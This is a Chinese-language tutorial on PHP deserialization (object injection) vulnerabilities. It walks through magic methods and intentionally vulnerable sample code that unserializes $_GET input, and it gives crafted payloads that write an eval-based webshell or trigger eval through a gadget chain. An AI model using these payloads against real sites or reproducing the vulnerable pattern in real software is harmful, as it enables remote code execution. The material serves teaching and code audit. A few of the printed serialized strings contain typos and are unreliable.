一、php反序列化漏洞
1.概述
PHP (从 PHP 3.05 开始)为保存对象提供了一组序列化和反序列化的函数:serialize、unserialize。
php反序列化漏洞,又叫php对象注入漏洞。
什么是php反序列化漏洞呢?简单的来说,就是在php反序列化的时候,反序列化的内容是用户可控,那么恶意用户就可以构造特定序列化内容的代码,通过unserialize()函数进行特定的反序列化操作,并且程序的某处存在一些敏感操作是写在类中的,那么就可以通过这段恶意代码,达到执行攻击者想要的操作。
漏洞形成原因
2.php序列化与反序列化
序列化:
当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用
函数 : serialize()
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
php允许保存一个对象方便以后重用,这个过程被称为序列化。
测试代码:
<?php
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
将其序列化后的结果:
O:7:"chybeta":1:(s:4:"test";s:3:"123";)
反序列化:
与 serialize() 对应的,unserialize()可以从序列化后的结果中恢复对象(object),我们翻阅PHP手册发现官方给出的是:unserialize — 从已存储的表示中创建 PHP 的值。
函数: unserialize()
可以从已存储的表示中创建PHP的值。恢复原先被序列化的变量。
测试代码:
<?php
class chybeta{
var $test = '123';
}
$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>反序列化结果为:</br>";
$class2_unser = unserialize($class2);
print_r($class2_unser);
?>
将其反序列化后的结果:
O:7:"chybeta":1:(s:4:"test";s:3"123"; )
反序列化的结果为:
chybeta Object ( [test] = > 123 )
3.魔术方法的利用
magic 函数
php面向对象变成中,有一类函数叫做magic function,魔术函数,他们是一些当依照某些规则实例化类或者调用某些函数的时候会自动调用这些magic函数,
这里有一些比较常见的例如__construct,__destory,__sleep,__wakeup,__toString函数。
__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。。
__wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用。
__sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。
__toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。
__get():调出不可访问(private,protect等修饰)属性时就会被调用。
__set():修改或写入不可访问(private,protect等修饰)属性时就会被调用。
__isset():对不可访问(private,protect等修饰)属性使用empty()或isset()方法时就会被调用。
__unset():对不可访问(private,protect等修饰)属性使用unset()方法时就会被调用。
__wakeup()或__destruct()的利用
由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。
<?php
class chybeta{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
基本的思路是,本地搭建好环境,通过 serialize() 得到我们要的序列化字符串,之后再传进去。通过源代码知,把对象中的test值赋为 “<?php phpinfo(); ?>”,再调用unserialize()时会通过__wakeup()把test的写入到shell.php中。为此我们写个php脚本:
<?php
class chybeta{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class4 = new chybeta();
$class4->test = "<?php phpinfo(); ?>"; $class4_ser = serialize($class4); print_r($class4_ser);
?>
得到序列化结果:
O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
其他Magic函数的利用:
基本思路
向test传入构造好的序列化字符串后,进行反序列化时自动调用 __wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的__construct()方法,从而把<?php @eval($_POST[a]);?>写入到 webshell.php中。
有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象。
在本地搭建环境(删除之前webshell.php里的内容),index2源码为:
<?php
class ph0en1x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class chybeta{
var $test = '123';
function __wakeup(){
$obj = new ph0en1x($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
编写exp之后,用serialize函数进行序列化,得到payload
O:7:"chybeta":1:{s:4:"test";s:25:"<?php @eval($_POST[a]);?>";}
普通成员的利用:
基本思路
new一个新的chybeta对象后,调用__construct(),其中又new了ph0en1x对象。在结束后会调用__destruct(),其中会调用action(),从而输出 ph0en1x。
利用
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。
<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en1x();
}
function __destruct() {
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>
构造序列化
<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en2x();
}
}
class ph0en2x {
var $test2 = '@eval($_POST[a]);';
}
echo serialize(new chybeta());
?>
得到payload:
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:17:"@eval($_POST[a]);";}}
注入对象构造
当目标对象被private、protected修饰时的构造方法。
Session
存储内容为序列化后的 session:test|s:4:“test”;
不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。
参考博客:
PHP反序列化漏洞总结
php反序列化漏洞
浅谈php反序列化漏洞